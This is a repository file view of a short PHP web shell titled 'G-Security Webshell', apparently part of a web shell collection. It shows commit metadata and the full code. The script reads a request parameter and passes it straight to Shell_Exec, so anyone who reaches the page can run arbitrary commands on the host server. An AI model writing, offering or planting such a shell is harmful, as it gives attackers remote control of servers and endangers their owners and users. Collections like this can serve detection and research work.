webshells/php/simple_cmd.php
Matthieu Keller f424ee76e4 fix
2017-06-28 17:09:41 +02:00

18 lines
342 B
PHP

<html>
<head>
<title>G-Security Webshell</title>
</head>
<body bgcolor=#000000 text=#ffffff ">
<form method=POST>
<br>
<input type=TEXT name="-cmd" size=64 value="<?=$cmd?>"
style="background:#000000;color:#ffffff;">
<hr>
<pre>
</pre>
</form>
<?php $cmd = $_REQUEST["-cmd"];?>
<?php if($cmd != "") print Shell_Exec($cmd);?>
</body>
</html>